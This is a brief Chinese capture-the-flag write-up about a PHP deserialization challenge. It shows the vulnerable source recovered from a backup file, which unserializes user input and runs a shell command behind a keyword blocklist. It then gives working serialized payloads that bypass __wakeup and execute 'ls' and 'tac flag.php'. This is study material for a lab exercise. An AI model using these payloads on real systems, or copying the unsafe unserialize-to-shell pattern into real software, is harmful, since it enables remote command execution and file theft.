提示备份

开始扫后台
得到备份文件index.php.bak
得到php代码

<?phpheader("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}function __wakeup(){$this->username = 'guest';}function __destruct(){if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('</br>flag能让你这么容易拿到吗？<br>');}if ($this->username === 'admin'){// echo "<br>right!<br>";$a = `$this->cmd`;var_dump($a);}else{echo "</br>给你个安慰奖吧，hhh！</br>";die();}}
}$select = $_GET['code'];$res=unserialize(@$select);
?>

可以开始反序列化操作了

/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

得到当前所有文件

?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}

得到flag.php文件内容